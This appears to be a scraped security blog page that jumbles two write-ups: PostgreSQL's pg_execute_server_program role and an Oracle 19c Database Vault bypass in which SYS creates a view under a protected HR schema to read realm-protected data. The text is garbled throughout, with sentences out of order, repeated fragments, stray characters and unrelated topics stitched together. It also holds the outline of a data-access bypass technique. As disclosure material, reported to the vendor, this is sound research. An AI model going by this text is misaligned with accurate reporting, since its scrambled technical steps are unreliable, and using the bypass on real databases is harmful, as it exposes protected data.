![]() Its worth stating that even though “pg_execute_server_program” is a powerfull role but it will NOT enable you to perform operations such as user creation, database creation,….etc so its limited in power (not superuser !). Using postgres account I will create an account called dummy_app that will be granted the powerful role pg_execute_server_program. Of course this is NOT the best security setting….always “peer” authentication is the preferred method, however there are some use cases where this setup is required. # “local” is for Unix domain socket connections only In pg_hba.conf file should be set to md5 and. The first exploit PoC technique assumes that PostgreSQL is configured with password file setup through. Its important to state here: These roles scope of power is to perform OS-level operations, so they don’t have “power” and access to the PostgreSQL DB system itself. They are powerful roles and can open a security hole per documentation ![]() ![]() PostgreSQL 3 roles pg_execute_server_program, pg_read_server_files, and pg_write_server_files were introduced starting from PostgreSQL version 11. SQL> create or replace view HR.sensitive_table3c as select * from HR.sensitive_table ORACLE19c > sqlplus select * from HR.sensitive_table This doesn’t make any difference as SYSTEM account as shown below will still be able to create the view even though DBMS_MACADM.UNAUTHORIZE_DDL was executed successfully: SQL> EXEC DBMS_MACADM.AUTHORIZE_DDL(‘SYSTEM’, ‘HR’) Īfter that i have removed the DDL authorization as shown below: SQL> EXEC DBMS_MACADM.UNAUTHORIZE_DDL(‘SYSTEM’, ‘HR’) īEGIN DBMS_MACADM.UNAUTHORIZE_DDL(‘SYSTEM’, ‘HR’) END įor the sake of illustration, i granted SYSTEM account DDL authorization to see if the view is updated ( and view was updated successfully): ORA-47974: Oracle DDL authorization for Oracle Database Vault to SYSTEM on SQL> EXEC DBMS_MACADM.UNAUTHORIZE_DDL(‘SYSTEM’, ‘%’) īEGIN DBMS_MACADM.UNAUTHORIZE_DDL(‘SYSTEM’, ‘%’) END Then, i tried to execute the same procedure for SYSTEM account: SQL> EXEC DBMS_MACADM.UNAUTHORIZE_DDL(‘SYS’, ‘%’) īEGIN DBMS_MACADM.UNAUTHORIZE_DDL(‘SYS’, ‘%’) END ORA-47974: Oracle DDL authorization for Oracle Database Vault to SYS on schema SQL> exec DBMS_MACADM.UNAUTHORIZE_DDL(‘SYS’,’HR’) īEGIN DBMS_MACADM.UNAUTHORIZE_DDL(‘SYS’,’HR’) END ORACLE19c > sqlplus select * from DBA_DV_DDL_AUTH Per documentation to revoke DDL authorization, you can use DBMS_MACADM.UNAUTHORIZE_DDL procedure: The exploit required two system privileges: create any view, select any view) So, the exploit was basically executing the following two SQL statements (view creation of the protected realm table and then viewing the data from the view. Now as SYS user I shouldn’t be able to view the data of table HR.sensitive_table as expected….However I was able to create a view under HR schema to “extract” the confidential data ! Still Exists in 19c (so far from version 19.18 and below).ĭB Vault is a security feature in Oracle that attempts to restrict “SYS” account power, in addition DB Vault will ensure seperation of duties in place such as account management and authorization can’t be performed by the DBA through SYS account anymore.ĭatabase Vault is already enabled and configured as shown below:Ī sensitive table called “ HR.sensitive_table” in PDB1 under HR schema will be protected with REALM through the following steps:Īudit_options=> DBMS_MACUTL.G_REALM_AUDIT_FAIL,Īuth_options=> DBMS_MACUTL.G_REALM_AUTH_OWNER) Moreover, This security issue is fixed from 21c on-wards. Disclaimer: The following security issue was reported to Oracle.
0 Comments
Leave a Reply. |
AuthorWrite something about yourself. No need to be fancy, just an overview. ArchivesCategories |